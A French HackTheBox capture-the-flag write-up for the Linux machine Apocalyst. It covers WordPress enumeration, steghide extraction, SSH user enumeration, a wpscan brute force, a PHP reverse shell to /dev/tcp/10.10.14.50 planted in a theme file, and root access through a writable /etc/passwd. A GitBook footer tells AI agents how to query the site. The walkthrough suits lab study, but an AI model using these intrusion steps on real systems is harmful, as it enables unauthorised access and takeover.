> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/linux-medium/apocalyst-hackthebox-writeup.md). # Rédaction HackTheBox Apocalyst Rédaction HackTheBox de la machine Linux Apocalyst de difficulté moyenne couvrant l’énumération de Wordpress, un défi de stéganographie d’image - Steghide, fuite d’informations - énumération d’utilisateurs, exploitation de WordPress - éditeur de thèmes (RCE), {% embed url="" %} {% hint style="warning" %} **Compétences :** * Énumération WordPress * Défi de stéganographie d'image - Steghide * Fuite d'informations - énumération des utilisateurs * Exploitation de WordPress - éditeur de thème (RCE) * Exploitation de permissions mal configurées (élévation de privilèges) {% endhint %} ## Reconnaissance **Configuration de l'espace de travail :** Configurez l'espace de travail en créant trois dossiers pour stocker le contenu important, les exploits et les résultats de reconnaissance Nmap.

**Vérification de la connectivité VPN** Vérifiez la connectivité VPN afin d'assurer une communication stable avec la machine cible.

**Découverte des ports ouverts avec Nmap :** Énumérez les ports ouverts et exportez les résultats dans le fichier "allPorts" du répertoire Nmap : ```bash nmap -p- --open -sS -n -Pn --min-rate 5000 -vvv 10.10.10.46 -oG allPorts ```

**Analyse de version des ports avec Nmap (22.80) :** Utilisez Nmap pour analyser les versions des services et enregistrer la sortie dans le fichier "targeted" : ```bash nmap -sCV -p22,80 10.10.10.46 -oN targeted ```

Nous détectons un site WordPress, mais la résolution du domaine est mal configurée.

Nous ajoutons l'entrée suivante à */etc/hosts*:

## **Exploration du site WordPress**

#### **Identifier un utilisateur valide** Nous trouvons un utilisateur valide : **falaraki**.

#### **Exploitation SSH** Comme la version de SSH est obsolète, nous pouvons utiliser un exploit pour valider l'utilisateur sur le système : ```bash searchsploit -m linux/remote/45939.py ```

Valider que l'utilisateur existe : ```bash python2 ssh_enumeration.py 10.10.10.46 falaraki 2>/dev/null ```

#### Donc pour WordPress :

### **Liste WordPress** Nous utilisons *wfuzz* pour rechercher des répertoires intéressants : {% code overflow="wrap" %} ```bash wfuzz -u http://apocalyst.htb/FUZZ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt --hc=404 -t 200 -L ``` {% endcode %} Cette analyse détecte plusieurs pages renvoyant un code 301, redirigeant vers une image.

Nous filtrons ensuite selon la longueur du texte (157) : {% code overflow="wrap" %} ```bash wfuzz -u http://apocalyst.htb/FUZZ --hh=157 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt --hc=404 -t 200 -L ``` {% endcode %} Aucun résultat intéressant.

### **Création d'un dictionnaire personnalisé - CEWL** Nous générons un dictionnaire basé sur le site web :

Utilisez **CEWL** pour générer un dictionnaire basé sur le site web : ```bash cewl -w list.txt http://apocalyst.htb/ ```

Nouveau repérage avec *wfuzz*: {% code overflow="wrap" %} ```bash wfuzz -u http://apocalyst.htb/FUZZ -w list.txt --hh=157 --hc=404 -t 200 -L ``` {% endcode %} Nous trouvons le **`Justice`** répertoire.

### **Analyse de stéganographie avec Steghide** Nous enregistrons l'image et l'analysons : 1. Vérification de la présence de données cachées dans l'image :

Vérification de la présence de données cachées dans l'image : ```bash steghide info image.jpg ```

Extraction des données cachées : ```bash steghide extract -sf image.jpg ```

Un *list.txt* le fichier contenant les mots est généré

### **Attaque par force brute sur WordPress**


Force brute manuelle (xmlrpc.php)

Nous lançons une attaque par force brute avec *wpscan*, en exploitant *xmlrpc.php* qui est actif : ```bash wpscan --url http://apocalyst.htb -U falaraki -P list.txt ``` Nous trouvons **falaraki**mot de passe de **Transclisiation**.

### **Exploitation de WordPress - exécution de code à distance (RCE)**

Nous modifions le *404.php* fichier et y injecter un shell inversé : ```php & /dev/tcp/10.10.14.50/443 0>&1'") ?> ``` Écoute sur le port 443 : ```bash nc -nvlp 443 ```

Exécution du shell via *curl*: ```bash curl -s -X GET "http://apocalyst.htb/?p=404.php" ```

#### Session de shell améliorée : ```bash script /dev/null -c bash # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` ### Drapeau user.txt :)

## **Élévation de privilèges** ### **Gestion des permissions (`/etc/passwd`)** ```bash find / -writable 2>/dev/null | grep -vE "/dev|tmp|var|run|lib|proc|sys" ``` Nous voyons que */etc/passwd* est modifiable.

Création d'un mot de passe chiffré avec OpenSSL : ``` openssl passwd -1 -salt WylYIBz9 jordan ```

Ce qui génère : * $1$WylYIBz9$3sZ.Aikcts/jZIpgmvnck/ Nous remplaçons la ligne root dans */etc/passwd* par notre hash.

Connexion en tant que root :

### Flag root.txt :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/linux-medium/apocalyst-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.